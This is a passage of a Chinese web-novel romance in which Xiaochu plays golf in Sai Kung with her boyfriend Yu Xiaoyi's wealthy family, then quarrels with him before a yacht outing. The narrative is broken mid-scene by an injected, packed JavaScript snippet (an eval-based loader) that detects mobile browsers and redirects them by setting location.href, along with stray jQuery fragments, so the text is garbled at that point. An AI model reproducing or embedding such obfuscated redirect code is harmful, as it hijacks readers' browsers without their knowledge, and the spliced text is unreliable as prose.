小初在心里轻哼一声,面上却真诚至极,“我挺忙的,不像你还有空看别的女孩子谈恋爱什么样。我只喜欢你,所以眼里只有你,你什么样我都能接受,因为喜欢一个人就是会对他无限包容,难道不是吗?” 余萧弋一噎,没说话了。 小初冷笑,送了他一个白眼。 两人开车,快一个小时才抵达目的地,到底年轻,崇尚自由,宁可受累也不肯带个司机,不像余绍鸿,早两天就吩咐秘书安排好了直升飞机。 一架轻型直升机载他们五六个乘客自然不在话下,可余萧弋还是找借口推了,没和他们同行。再直白一点,他最近连在文献里看见和余珺彦车牌重合的那组数字都厌烦,更何况近距离接触他那张脸? 原本今天是不想带小初来的,可他还是来了,他自己也说不清楚,他到底是想借此跟全世界自证什么,还是心理阴暗地想验证什么。 因着其他人还没到,余萧弋先带小初去会所拥有270度无敌景观的餐厅吃了个早餐。 从餐厅巨大的落地窗看出去,刚好可以俯瞰西贡半岛波光璀璨的三面海,得天独厚的地理位置和自然风光实在很难不令人心旷神怡。 进入十二月,香港的亚热带季风气候也终于迎来了它全年最让人舒服的时候,天气晴得不像话,唯一美中不足的是,海边的风稍微大了点,但也因此,一大早海面上就已经有帆船爱好者在迎风冲浪了,也算是一道很特别的风景。 很快,早餐就端了上来。 小初看着桌面上的醇香咖啡和刚出炉的黄油可颂,只觉生活无比美好,能和自己喜欢的人赏如此良辰美景,更是有种令她说不出的感动。 于是赶紧拿出手机记录。 “方小姐这不是要拍照发朋友圈吧?”余萧弋超不经意地凑过来,搂住她的肩,“来,我把我这张脸也借你用用,丰富一下你的九宫格。” “……”小初有点无语,“我都说了手机的前置摄像头拍人很怪,你不怕我给你拍丑?” “这样的话……”他沉思了一下,立刻起身朝工作人员招了招手,用粤语问道,“麻烦,可以帮我们两个拍张照吗?拍好看一点。” “喂!”小初脸都红了,悄悄在底下掐他,“我是这个意思?” 工作人员显然早知道他是谁,态度好得不得了,照片拍得也格外认真,拍完还不忘问小初,“方小姐你看看满不满意,不满意我再重拍。” 小初意外地看了对方一眼,随后也就释然,她要真不知道她姓方,那也别在这里混了。 “拍得很好,谢谢。” 余萧弋听了立刻拿出钱包给了小费。 工作人员满面春风地道着谢退了下去。 “果然好看吗?” 他凑上来。 小初睨他,“都没看看好不好看就先给小费?” 余萧弋不理她,只把目光都落在照片上,眉间都是温柔,“这么般配的两个人,不发一下IG是不是有点可惜?” 小初无语,“要发你发,我IG又没几个熟人。” “不,就要你发,你发和我发效果怎么能一样呢,铭仔他们都会看到的。” “幼不幼稚。” 小初笑,但也没阻止他,现在连个餐厅服务员都知道她是他女朋友了,还有什么可阻止的。 她也没管他发了个什么内容,只专注吃起了她的早餐。 “我要给你首赞。”余萧弋发完就拿起了自己手机。 下一秒,他的笑容就凝在了脸上。 小初敏感捕捉到了他情绪的变化,不明所以地问道,“怎么了?” 余萧弋没说话,只是把手机屏幕递给她看。 小初垂眸。 下一秒,就在第一个小红心那里,看到了Jeo Yu的名字。 “……” 这大哥这么关注她干嘛? 余萧弋的眸色冷下来,“你和余珺彦很熟吗?” “不熟。”小初面不改色喝了口咖啡。 “那他?” “巧合,要么就是误触,也有可能刚好刷到就顺手点了个赞,而且是给你点的,你不是他兄弟吗?再说了,是你非要我发的,真发了你又不高兴,那拿来我删掉好了。” 余萧弋抿抿唇,“不许。” 十分钟后,早餐吃完,外面余家的直升飞机也到了,两人赶紧迎出去。 这家私人球会是会员制,几百万元的入会门槛倒不算高,稀缺的是它的会籍名额,因为稀缺所以珍贵,据说某些可以私下交易的会籍在二手市场甚至炒到了接近两千万,却还是一籍难求。 最先从飞机上下来的是一身黑色腰间绑着根棕色老花绸带的余珺彦,在螺旋桨带动起的大风中,他头发被吹的到处都是,人却巍然不动,挺拔修长得堪比巴黎秀场上的模特。 然后才是杨敏之,同样是一身黑,五官被脸上大大的墨镜遮挡了大半,也看不出是美是丑,身材却是令人心惊的好,就是那种最完美的沙漏,丰腴又纤细,女人味十足。 还没走到舷梯最后一阶,她就把手从善如流地搭在了余珺彦早向她伸出的手臂上。 俩人看着还挺般配,就是那种男人很男人,女人也很女人的般配。 小初不由自主想起那个称不上美人却也别有一番独特气质的郭羡如,心底不知怎么突然有点难过。 又想起余巍巍那天的话,她好像有点明白余珺彦在干嘛了,这是伺候上了。 还伺候得挺用心。 最后才是扶着秘书的手缓步走下来的余绍鸿,两个孙子穿得都这么素,他倒张扬,粉色Polo衫配浅茶色眼镜,一头灰白头发到了这个年纪依然茂密,有型有款地用发胶固定着,这么大的风都没吹乱分毫。 小初小声跟余萧弋说,“爷爷还挺潮。” 余萧弋也不看她,只用两个人才能听见的声音说道,“老狐狸都有一颗能流传千年的心。” 小初嘴角一抽。 远远的,余绍鸿就用很生涩的普通话朝余萧弋和小初招呼到,“Theo还不给爷爷介绍介绍?” 两人赶紧走上前去,余萧弋介绍完,小初立刻大大方方问了好。 余绍鸿脸上始终带着笑,看着极为和蔼可亲,小初却不敢掉以轻心,半个身子都不动声色掩在余萧弋身后。 “好,早听你姑姑说你靓过天上仙女,我还不信我家这臭小子有这么大的魅力能吸引到仙女,今天一见,才发现你姑姑真的没有夸张。不过也不奇怪,我前两年在某个宴会上见过你父母亲,那样杰出的两个人物,理应生出你这样优秀的孩子。” 小初受宠若惊,按照朝鲜族的礼节颔了颔首,“爷爷您太过誉了。” 余萧弋第一次看到这么拘谨的她,不禁有些好笑,唇角若有似无勾着笑意。 余绍鸿又转向一旁的余珺彦,“要说起来,在选女朋友的眼光这方面,你们兄弟两个还真不遑多让,看见你们都能找到自己想要的幸福,爷爷很欣慰。以后你们年轻人之间要多交流,更不要忘了互相扶持和爱护。” 这一碗水,真是端得又稳又平。 余珺彦和余萧弋都说是。 然后余萧弋又给小初和杨敏之做了介绍。 小初微微颔首,说了句,“杨小姐,幸会。” 杨敏之这才摘下墨镜,递给小初一个算是打过招呼的眼神,“你好。” 虽然只有简单的两个字,但她还是说的粤语。 小初微不可察地挑了挑眉。 不同于她妹妹杨敏中的清秀,杨敏之长得极为美艳,尽管如此,浑身却全无半点媚态,也无讨好感。反而从头到脚都散发着一种生人勿近的骄傲和冰冷。连打招呼递过来的眼神,都写满了审视,讥诮和厌烦。 余珺彦算是碰到对手了。 小初忽然有点幸灾乐祸,不知怎么就笑了,而且笑得意味深长。 正笑着,不期目光就和余珺彦对上了,似是看透她心中所想,他神色很有些没好气。 幸亏别人都没注意到,她赶紧别开了目光。 余绍鸿说,“时间已经不早,咱们就快点开始吧,但愿今天顺利,可以在午餐之前打完这18洞。我特地交代他们准备了海鲜,这个季节海水变冷,海鲜最是鲜甜!” 几人都说是。 秘书背上余绍鸿的球杆,两人率先向球车走去。 其余几人除了小初,也都各自背了球杆,今天他们决定自助打球,也就没配球童,凡事都要亲力亲为。 到了球车,又各自装车。 余绍鸿这才看见小初没背球杆,不禁问余萧弋,“怎么没给方小姐准备球杆呢?” 余萧弋笑,“她不热衷这个,我们俩打一杆好了,刚好就算四人四球,场上球太多了也容易混乱。今天情况特殊,我们干脆也别按照标准赛事分成两队了,就各自计分好了。” “也好。”余绍鸿用手指点了点他,“那要是这样,我可要设个赌注了,平时总赢不了你,今天终于轮到我了吧?” 余萧弋说:“新手都有保护期,爷爷你可别大意。”顿了顿,又笑,“不过,赌注随爷爷你说好了,平时都是哥故意输给你哄你开心,今天难得轮到我孝顺一次,输了球却赢了人品和名声,我也不亏。” 不知怎么,小初总觉得他这话有讽刺之意,不禁悄悄看了余珺彦一眼。 对方神色倒是如常。 余萧弋一番话,就把余绍鸿哄得大笑,“那咱们就赌今天中午的海鲜谁请客好不好?” 几人自然没有异议。 余绍鸿又转向小初,“方小姐可别怕Theo输就故意不下场啊,我想赢他已经很久了。” 小初眨眼,“爷爷,我就是一来看美景和吃海鲜的,美景和海鲜享受到了就行,至于钱谁出,大不了我待会敬他一杯酒好了。” “好,那就说定了!”余绍鸿又问余珺彦和杨敏之,“怎么样,你们二位要不要也打一个球啊?” 余珺彦还没说话,杨敏之就笑着接话过去,“不用了爷爷,我好胜心强,学不来Jeo故意输球的本事,不如咱们多加一个赌注,今天输球的人,要给前面每个赢他的人敬一杯酒如何,为了喝上爷爷这杯酒,我一定努力拔得头筹。” “好,我跟了!”余绍鸿虽已七十多岁,但因保养得当且热爱运动,身体一向很好,连笑声都格外洪亮。 趁几人不注意,他已经自己驾驶着球车朝场地飞奔去了。 余萧弋把球杆放到车上。 小初跳上车。 她这才注意到,余珺彦和杨敏之甚至连球车都没开一辆,不愧是先婚后爱的设定,看着是真的不熟。 “看什么呢?”余萧弋也上了车,伸出手指捏了捏她的脸。 小初摇头,“没事,就觉得杨小姐挺有趣的。” 余萧弋挑眉,“她当然有趣了,各大奢侈品牌晚宴上的VIC客户,常年除了热衷满世界旅居旅游,就是给各路男星花钱撕资源,你能叫上名字那几个新晋顶流,尤其最近才拿到高奢代言的,不说全部吧,得有一半,都做过她的裙下臣。” “What?”小初瞪大眼,这有点超出她认知了。 “所以,她能答应和余珺彦联姻,我还挺意外的。” 小初蹙眉,“你不应该意外你们家在知道这件事的前提下,还把余珺彦推出去吗?” “怎么,你心疼他了?” “我心疼他干什么?”小初瞪他。 余萧弋启动车子,好整以暇的,“谁叫他平时在爷爷面前总是一副逆来顺受的样子,连球都不敢畅快地赢,他这样,也就只能听家里安排了。话说回来了,杨敏之也没什么不好,不就犯了点天下有钱女人都会犯的错吗?余珺彦有格局,就应该选择理解和包容。再说,婚前混乱又不代表婚后人家就不好好过日子,凭着杨家的家世,余珺彦不亏。” “余萧弋!”小初实在没想到他会说出这番话来,“你怎么这样啊,他是你哥!” 余萧弋咬唇,“所以呢?” “所以这番话谁都能说,就你不能!” “你现在是为了他在跟我吵架吗?” 小初说:“我没有,我只是就是论事。” 余萧弋冷笑,“你甚至都不知道我们之间曾经发生过什么事,就无条件站他,是吗?而且我当他是我哥,他又当我是什么?” “好了别说了,一会儿人家都开球了。” 小初不想讨论了。她根本不是心疼什么余珺彦,她只是很不喜欢余萧弋那个语气和态度,她希望她喜欢的,是一个本来就很好的人,而不是一个只对她好的人。 余萧弋抿抿唇,也没再多说,两人到发球台的时候,大家果然都已经在等他们了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16740921|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 为了不让大家看出什么来,两人都做了个深呼吸,下一秒已神色如常。 几人都是高尔夫老手了,球开得都很漂亮。 到了余萧弋和小初这,余萧弋说:“咱俩一人一杆吧,就按路上我给你讲的规则。所以这个球是你开还是我开?” 小初无可无不可的,“我都可以。” 看见她这副模样,余萧弋心头一刺,连呼吸都染了痛,却也只能温言道,“那你来开。” 小初接过他手里的球杆。 她是个从小做事就专注的人,且从来不畏难,更不在乎别人的眼光。 只是,她还是没想到,她竟然会连着两杆都挥空,到了第三杆更夸张,角度没控制好力气又太大,发球台的草皮那么硬,都被她铲飞了一块。 气氛忽然有点尴尬。 毕竟都是些不太熟的人,小初也有些脸热。 余萧弋说:“没关系慢慢来。” 又亲自示范了一下挥杆力度和角度。 余珺彦接过话去,“你要不换倾角比较大的2号杆和3号杆给她试试,那个对她这种初学者,可能更好控制一点。” 余萧弋本就一肚子气,听他说话更烦,干脆没接话。 直至余绍鸿也说:“Jeo说得也有道理。” 余萧弋这才照做。 换了更好操作的杆,再加上余萧弋前面的示范,小初稳住心神,这一次终于成功。 虽然球路还是稍稍有点左偏,但对她而言无疑已是巨大成功,大家都为她鼓掌。 杨敏之撇了撇嘴,已然很不耐烦,敷衍完赶紧拉着余绍鸿先往他们各自的球位去了。 余珺彦没有跟上,反而落后几步,就像平常聊天那样不经意问小初道:“你平时没玩过吗?” 小初本没有什么聊天的兴致,但看见余萧弋那张跟谁欠了他钱似的脸,不知怎么突然就有了,“嗯,我爸妈平时喜欢玩射击,我比较忙,偶尔跟他们出去,就他们玩什么我玩什么了。” 余珺彦挑了挑眉,“所以,你摸过真枪?” “嗯,在北美一俱乐部玩过,把能试的都试了一遍。” “成绩怎么样?” 小初忽而一笑,“反正比高尔夫强大概一百倍吧。” 余珺彦安慰道:“这个你也只是不常练习而已,只要给你时间,你肯定能做好,叫你们理科生算那个力度和角度,还不是撞你枪口上了?今天只是海风有点大,影响你发挥了。” 经过这么长时间接触,小初自然知道他也不是什么善类,之前还说什么别关心他Theo会吃醋呢,这会儿在这跟她摆什么龙门阵,拿她方太初给他们兄弟当高尔夫球挥来挥去计分玩呢?于是淡淡抬眸看他一眼,无声说了句,“滚。” 余珺彦一愣,继而微微挑了挑眉,不像被骂了,倒像捡了钱,“你们慢慢聊,我到前面去了。” 小初停住脚步,抿唇看了看后面的余萧弋,“Theo余,你怎么走这么慢?” 他淡声,“怕走快了耽误你事。” 小初呼吸一滞,忽然挽住他的手臂,覆到他耳边,“这么有格局吗?那看来杨小姐就该换你来娶。” 她的呼吸若有若无地撩拨,他面无表情向旁边躲了躲,“何必舍近求远,方小姐的本事也不比她小啊。我也只是你众多好哥哥中的一个罢了。” “我可没有把所有帅哥都变成裙下臣的癖好。” 余萧弋冷哼,“谁知道呢。” 小初终于气急,反正前面的人已经离他们很远,她干脆口不择言,“反正只有一个人自愿做过我的裙下臣,在北京的时候,一条白色的睡裙,只不过吧……” 她故意不往下说了。 余萧弋沉眸看向她,喉咙有些发紧,“只不过什么?” 前面的人已经在喊他们。 小初应声,只当刚刚什么都没说,“走吧,别让他们一直等。” 余萧弋仍不死心,继续追问着,“到底怎样?” 小初只大步走,偏不答。 接下来的三个多小时,大家打得都很畅快,就连小初都渐入佳境,和余萧弋的配合越来越默契,有几次,她甚至把球打到丛林或者界外去了,最后也都有惊无险被他救回了场面。 西贡的这家由国际名师设计的18洞球场向来被评为亚洲最美的球场之一,而他身着白衣在山与海之间挥杆时坚定与认真的样子实在太帅,小初一不小心,又爱上了他很多次。 最后一洞果岭推杆时,她实在没想到他会当着那么多人面从背后覆上来。 小初吓一跳,差点把杆扔出去。 大家都笑。 “一起吧。”他贴近她,将她环在怀里,呼吸喷薄在她的侧颈上,眼睛却没看她,语气漫不经心的,任谁看,都不像在说什么不正经的话,“所以到底怎样?” 小初目视前方,将所有注意力都集中在球上,没说话,耳朵却红了。 他抓住她的手,耐心地教着她推杆的技巧,“就这样,双手放松,控制力度,左侧有风,大概三级,需要调整一下球路的弯曲度。”他顿了顿,“嗯?” 最后一个字,才是他想对她说的。 “很喜欢。”小初轻启唇瓣,用低不可闻的只有两个人能听到的声音说道。 下一秒,球就以一条绝对精准又无比优美的曲线飞了出去。 直接进洞。 现场所有人都为他们鼓起掌来。 两人微笑,并迅速分开,只待鼻端弥漫出来的热彻底被风带走才蜻蜓点水般对视了一眼。 他在笑,笑得很挑衅。 她红了脸,转而和阳光一起将山下整个西贡都笼在了眼底。 最后计分,余绍鸿毋庸置疑是第一名,然后是杨敏之,令小初意外的是,即使她打成这样,也还没落到最后一名。 杨敏之一副很遗憾的样子,“爷爷,想不到我还是棋差一招。” 秘书适时插言进来,“杨小姐你有所不知,余先生最擅长的就是在风里打球了,风越大,打得越好,想当年,他可是靠这个赢过一千万回来呢。” “真的假的?” 余绍鸿哈哈大笑,“都是几十年前的事了。” 杨敏之说:“那我知道了,下次再找爷爷切磋,一定得提前看看天气预报。” 余萧弋接话过去,“怎么呢大嫂,你该不会也学我哥专挑风大的日子输给爷爷吧?” 杨敏之嗔他一眼,“爷爷凭的是实力!你不要大放厥词!” 大家都笑。 余珺彦说:“好了,今天的海鲜只能我买单了。” 余绍鸿眉飞色舞,显然今天尽兴至极,“Theo今天第一次带女朋友回来见爷爷,理应是你这个做大哥的请。” 余珺彦弯唇,“应该的。” 小初眼睫一颤,不知怎么突然想起他那句——爸爸保护女儿,应该的。 一行人移步到会所包厢。 余萧弋没避讳,直接将小初牵在了手心。 杨敏之一直陪着余绍鸿,讲着小初听不懂的粤语笑话。 小初反握回去,两人都没看对方,也没说话,但他们都清楚地明白了对方想表达什么。 ——余珺彦这两口子,恐怕是要将老爷子死死吃定了。 跟他们两个老江湖想比,她和他,简直清澈得像……大学生。 余绍鸿没说错,海水渐冷时的海鲜最鲜甜,一桌人除了要开车的余萧弋,都喝了一点酒,席间气氛始终温馨融洽。 喝到最后,余珺彦才想起来,“今天我最后一名,愿赌服输,敬在座的每人一杯酒。”说完,第一个就转向小初,“方太初,我敬你。” 小初眼皮一跳,心想大哥你作什么死,面上却一副惶恐模样,“大哥,你应该先敬爷爷和大嫂才对。” 余萧弋冷笑:“哥你是不是喝多了?” 余珺彦晃了晃头,笑容几分迷离,“好像还真有点。” 几分钟后,他这杯酒,到底还是到了小初这。 小初无法,只能虚虚压低杯沿和他碰了碰。 “小初,我喝完,你随意就好。”余珺彦说完就将杯子里的酒一饮而尽了。 只留小初一人跟风化了似的,几乎没碎在当场。 小初……也是他叫的吗? 她连话都开始说不利索,“大,大哥,你太客气了。” 眼角余光里,余萧弋唇角弧度尽显。 完,完了。 这下是彻底完了。 这个该死的余珺彦。 77.第 77 章 小初不胜酒力,饭吃到尾声,已有些醉意。 主要刚余珺彦敬酒时那声“小初”实在暧昧,他话音一落,余萧弋的脸色就变了。 仿佛一条本来温驯又可爱的犬,突然就被什么唤醒了基因,返祖成了两万八千年前一条还未被驯化的狼。 感官变得敏锐,獠牙不断伸长,她甚至都不敢跟他对视,生怕下一秒他就要咬住她的脖颈,将她吞食入腹了。 他在吃醋,或许也很失望。 她不敢招惹一只失控的狼,只能把自己灌醉。 因为她早就看穿了他君子的本色,就算再生气,他也不会为难一个神智不清的人。 在第五个四分之一杯的白葡萄酒被她喝光后,余萧弋果然按住了她的酒杯,提醒道,“不能再喝了,再喝就醉了。” 小初的眼神有些发飘,嘴角的笑容也有些迷蒙,一把抢回自己的杯子,“我还要再敬爷爷一杯呢。” 余萧弋神色淡淡的,“爷爷也不能再喝了,再喝他也醉了。” 余绍鸿笑,“确实不能再喝了,你可以陪爷爷聊聊天,不过爷爷的普通话不太好,可难为你的耳朵了。” 小初这才听话地放下杯子,笑道,“Theo经答应教我粤语了,希望下次见面,能让爷爷看到我的进步。” 余绍鸿开心极了,“好啊,你们年轻人,自然学什么都快,不像我们,身体硬件都固化了,很难变通,要不怎么说老顽固呢,越老越顽固。” 大家都笑。 唯有杨敏之露出了一个玩味的神色。 小初换成茶杯:“爷爷,我回头送您个智能音箱,用我的声音设置成粤语模式,这样您就可以提前跟粤语流畅的我聊天了。比如您每天早晨起来可以问它,‘小初小初,今天香港天气怎么样,我出去和朋友打高尔夫,可否再赢一千万回来?’,那它就会答……” 她轻咳一声,瞥了眼正没好气看她的余萧弋,用蹩脚的粤语继续说道:“好的爷爷,虽然香港今天天气晴,万里无云没有风,但只要您愿意,眨眨眼都不止一千万的啦。” 话音一落,余绍鸿就不可抑制地大笑起来,一边笑一边用手指余萧弋,“这么可爱的女孩子,你怎么不早点带回家里来!”又迫不及待问小初,“那我什么时候能得到那个音箱?” 小初说:“这容易,我现在就给亦方开发部的负责人留个言,最多十天,一定到您手上!” “好啊好啊,你说话算数?” “当然!” 小初放下茶杯,朝余萧弋笑笑,不期视线回转过程中又和正若有所思看着她的余珺彦撞上,顿时头大如斗。 几人说说笑笑又聊了会天,直至秘书走进来附在余绍鸿耳边说了几句什么。小初离得近,但也只隐约识别出“司长”二字。 没一会儿,余绍鸿就起身去了雪茄室,嘱咐几个年轻人自由活动。 这边娱乐设施和项目很多,但小初只想快点离开,于是问余萧弋他们能不能提前走。 余珺彦却提议四人干脆一块乘游艇去海上吹吹风散散酒气,等兜一圈回来,老爷子那边应该也差不多结束了,大家刚好一块返程。 杨敏之无可无不可的,“我倒是都OK,只是你提前没说,我都没带别的衣服。” 余珺彦解释:“是一个朋友,本来说好今天要在游艇上招待一位贵客的,航行许可都申请好了,结果贵客临时有事又来不了。你们商量下要不要去,去的话我打电话让他们修改一下乘客名单,冰好香槟。” 杨敏之说OK。 余珺彦又问余萧弋,“Theo你和方太初要不要跟我们一块去?” 余萧弋似笑非笑地看他一眼,“哥这么问,到底是希望还是不希望我们去?我只怕我们去了影响你和大嫂联络感情。” “放心,影响不了。”余珺彦转向小初,“方小姐的意思呢?” 小初没想到他还会问她,本就喝多了酒的脑子瞬时一片空白,立刻摆手,“算……” 她还没说完,余珺彦就接着说下去,“一块去吧,你大概不知道,从这里往东南,以二十五海里每小时的速度巡航一个小时,就能到达一片被好多人称作玻璃海的海域,特别漂亮。不过要我说,它应该叫宝石海才更确切一点,玻璃怎么可能折射出那个渐变的颜色?” 他话音一落,杨敏之就眯了眯眸子,露出一个疑惑的神色,“我出过这么多次海,怎么没听过?” 余珺彦低头喝了口茶,但笑不语。 小初却瞳孔骤缩,瞬间明白了他在说什么。 那只耳饰,被他找到了? 余萧弋勾了下唇,手臂自然而然搭到小初的椅子上,倾身问她:“怎么说?” 小初这才如梦初醒,“也可以,只是我喝多了酒,到了船上一摇晃恐怕当场就得睡着,错过好多美景。” “这个倒没关系,船上好几个卧室,随你睡,等到了那片玻璃海,我再喊你起来。如果,真有那片海的话。” 余萧弋的声音很温柔,小初却看得很清楚,他的眼底没有笑。 她的心脏没来由地一紧,一种又酸又涩的感觉顺着血液迅速蔓延到全身,敌人一样将她整个包围。 而她单枪匹马,怎么都杀不出重围。 余萧弋起身,“我去上个卫生间。”又问小初,“你去吗?” 小初摇头。 杨敏之也去了更衣室补妆。 小初和余珺彦步行到大厅等二人,也是直到这会儿,她才有机会和他单独说话,“大哥,你搞什么?” 余珺彦睨她一眼,“什么搞什么?” 小初呼吸一滞,还在装。 “从早晨开始你就一直在故意搞事情,都说了Theo会吃醋,你何必招惹他?” 余珺彦不可思议地看她一眼,很有些委屈,“是他先招惹的我!一见面就讽刺我虚伪谄媚,为了哄爷爷开心故意输球。” “……”小初很无语,“就为这个?幼不幼稚啊!” “他让我不爽,我也只能给他添添堵了。” 小初气急,“他让你不爽你直接去找他啊,拿我做什么文章!” 余珺彦冷哼,“我不管,谁让你是他女朋友。” 小初一边盯着卫生间方向,一边狠狠瞪他一眼:“那你就说你是不是每次都故意输给爷爷?” “小姐!你们怎么就非要预设我玩得好?都说了爷爷是高级玩家,我水平就是那么菜,没看今天连你都没赢吗?” “啊?”小初愣住。 余珺彦苦笑着点点头,“很失望是吧,实话实说我从小体育就都不太行,可能大脑太聪明了,别的地方就得适当有点缺陷,不然岂不是太完美了。” “少自恋!”小初惊呆,“我真的是一次次信了你的鬼话!我就问你,那个耳饰……” “找到了。”余珺彦抢先答道,“就在后排座椅侧面,修车行的人发现的。” 小初喜出望外,继而伸手,“拿来。” “没带过来。” 小初蹙起眉,“耍我是吧?” “我怕再弄丢。”余珺彦眨了眨眼,“你得先帮我,确切地说,帮你Ruby姐姐,我不想和那个杨敏之独处。” 小初就从没听过这种离谱的要求,“这种事我一个外人怎么帮?再说我看她也并没有很想和你靠近的意思,你不用过于担心。” “那是因为气氛还不够暧昧。你当爷爷怎么中途去见别人了,他就是给我和她,或者还有Theo和你创造机会呢!” 小初愣住,“都要订婚了,你们竟然还没有独处过?” “嗯。” “你真的只喜欢Ruby姐?” 余珺彦点头,“当然。” 杨敏之从更衣室里出来了。 小初赶紧不动声色地远离他一步,“帮不了,实在不行,你就装你身体有某方面缺陷吧,杨小姐别的大概都能忍你,这一点肯定忍不了。” “……”余珺彦眸色微凉,“你说的是人话吗?还嫌我被这群人糟践得不够呢?” “我……不是那个意思。”小初抿抿唇。 余萧弋也从洗手间方向走了过来。 一张脸是湿的,连同额发也是湿的,显然刚洗过脸。 小初心下一软,赶紧从包里掏出纸巾递给他,“擦擦吧。” 余萧弋没有拒绝,反而轻轻说了句,“谢谢”。 小初顿时灌了铅似的难受,更情愿他干脆扑过来咬断她脖颈算了,免得她心里这么折磨。 一行人向码头方向走去。 小初特地拉着余萧弋落后几步。 “你怎么了?”酒精一作祟,她有些冲动,早忘了前面想好的示弱策略,“有什么话不妨直接说出来,我方太初最讨厌猜来猜去,若是谈恋爱还要小心翼翼看对方脸色,那还不如不谈。” 余萧弋愣住,半晌才说,“你觉得是你在看我脸色?” “不然呢?我觉得我从始至终都是一个步调和频率,从没像你这样总是试图掌控别人的情绪!” 余萧弋冷笑出声,“咱俩到底是谁在一直掌控谁的情绪!方太初,我觉得爱一个人就应该把对方看做是唯一可托付心事和感情的人,可你呢?你把我放在第几位?” 小初不太明白,“你在和谁比?我都不知道我心里还有个排名!” “你自己清楚。”他笑,“反正你能要梁培风的二十年,却从没有考虑过和我的未来,请问我到底算什么!” 小初很无语,“大哥,他是北京人,而且早拿定主意回去发展,我拉他入伙不是很正常?再说,你以为他是傻的吗?哪天有更好机会他百分百会跳槽的好吧?大家都是为了生存,工作谈什么感情!二十年,只是我随口那么一说!你怎么一样!我认识你的时候你就是要去美国的,我是接受了这一点才和你在一起的,既然已经接受,为什么要更改?” 余萧弋说,“你总是振振有词。到现在还不承认你根本就没有那么爱我。今天说的智能音箱,早在北京时候我就管你要了,你放在心上了吗?你是条流水线吗方太初,标准化生产一个产品,拿去哄所有人?即便如此,我连个VIP客户都算不上吗?” 小初目瞪口呆,“你竟然连爷爷的醋都吃,你太可怕了。” 余萧弋被气得胸腔起伏,下一秒眼睛就红了,他长这么大就没这么无助过,竟不知这世上有些人是一点道理也讲不通的。 他不想她看到他这一面,立刻别开了视线。 余珺彦见两人迟迟没跟上来,不禁回头喊了他们两声。 余萧弋不说话,大步向前走去。 小初心头一刺,小跑着跟上去,歪着头问他,“你哭了?” 他倔强地拧着眉,“你看错了,是海风太大了。” 仍是大步走着。 小初只能亦步亦趋,“你慢点好不好,我喝醉了动作大了好想吐。” 他冷哼,但到底放慢了步调,“你竟醉了?醉了吵架时还逻辑还这么清晰呢,这要是醒着,那还了得?” 小初才不承认,“谁跟你吵架了。” 余萧弋呼吸一滞,“耍赖是吧?不是你说的看人脸色的恋爱不如不谈吗?” “没错,你不说我倒忘了,你为什么要给我脸色看?” “……” 余萧弋难以置信地回过头,对上的却是她潋滟如春水般的一双似醉非醉的眼睛,里面盛满了困惑和不解,只一秒,他的意志力就开始崩塌,除了想亲她,其他念头都莫名消失了。 他微不可察叹了口气。 “就因为余珺彦叫了我一声小初?”她一把拉过他的手,“他那么老,叫就叫呗,你跟他计较什么。” “我不是计较他。” “你是计较我。”小初直直看着他的眼睛,呼吸都是浓浓的酒气,“你想控制我,只按照你的喜好交朋友,甚至于,最好不要交朋友,尤其异性朋友。你想要一个沉溺式和你谈恋爱,所有一切都围着你转的人,有点小个性,但本质上要依附你崇拜你,你从小到大的骄傲和优越感,不允许你接受有人不把你放在第一位,是吧?” 余萧弋身形一晃,仿佛被漫天箭矢射中,每一寸皮肤都在流血,他双目开始变得空洞,连呼吸都变得艰难,怔了好半晌,他才问,声音甚至不像是从他胸腔里发出的,“我在你心里竟是这种人?” 小初松开他的手,心里蓦地难受起来,她也不想两人变成这样,“你把我当成你和余珺彦从小到大竞争的筹码,因为是他,所以格外在意,但我不是筹码,我只是我自己,你们之间的事情,与我无关。” 余萧弋嘴角勾出一朵笑来,“OK。” 然后他看了看前面余珺彦和杨敏之的身影,“所以,你确定要和他们一块到海上玩吗?” 小初说:“当然。”又问他,“你呢?” 听他的话,是想把她一个人丢在这,是吗? 她抬头看了看天,忽然觉得很没意思,不知怎么就来了那么一句,“你要是觉得两人相处不舒服,我们就暂停好了。” 余萧弋忽地看向她,心上顿时破了个洞,空得他甚至已经感觉不到自己站在这里的实感,“你要分手吗?” 小初咬唇,努力不让从胸腔升腾而起的那股酸涩真的变成眼泪落在他眼底,“我没说分手,但大家确实需要冷静冷静。” 余萧弋说:“我不分手。” 小初口不择言,“你要么就去找个满心满眼都是你的女朋友试试,凭你余公子,想找个那样的不难。是我方太初让你失望了,我的生活真的很忙,不想再花时间猜人心。” 余萧弋只定定地看着她,似是一句话都说不出来了。 说完这番话,小初就朝余家的私人泊位大步走去,也没管他在后面跟没跟上来。 杨敏之已在甲板上。 余珺彦也正准备登船。 小初向他伸出手,“麻烦,扶我一下,我现在脑子很乱,怕掉水里。” 余珺彦若有所思看她一眼,又看了看她身后,疑惑道:“怎么了?” 小初说:“你别管。” “我来。”余萧弋的声音突然出现。 小初倏地回过头去。 竟然真的是他。 在她的怔愣中,他已登上舷梯,向她伸出手,“来,把手给我。” 四目相对的瞬间,小初的眼泪几乎就已忍不住了,但碍于杨敏之也正已审视的目光看着她,她还是忍住了,也没过多犹豫,就那么就着他的手,轻轻迈步上了船。 他的手很冰,尽管距离上一次牵他也没过去几分钟,但还是有种恍如隔世的感觉。 上了船,她就垂眸收回了手。 很快,一行人就朝海上进发而去。 余家这艘私人游艇据说是前两年刚定制的最新款,因此无论船型还是内部布局看着都非常时尚和现代。 四层甲板,空间超大,全船配备智能系统,顶层还有个全透明的游泳池。主沙龙更是很特别的不对称设计,以至于船开到海中央时,打开与沙发相对的电动感应门,就是一个直接悬于海面上方的全景露台,视觉享受无法用语言形容。 主沙龙面积很大,小初粗粗估计,应该能容三四十人一起在此狂欢。 这么一个适合狂欢的场景,四个人却似各怀心事,始终没有人说话。 不知道的还以为四个人都在失恋。 香槟被余珺彦和杨敏之喝去了一半,小初也喝了大半杯,只有余萧弋一人滴酒未沾。 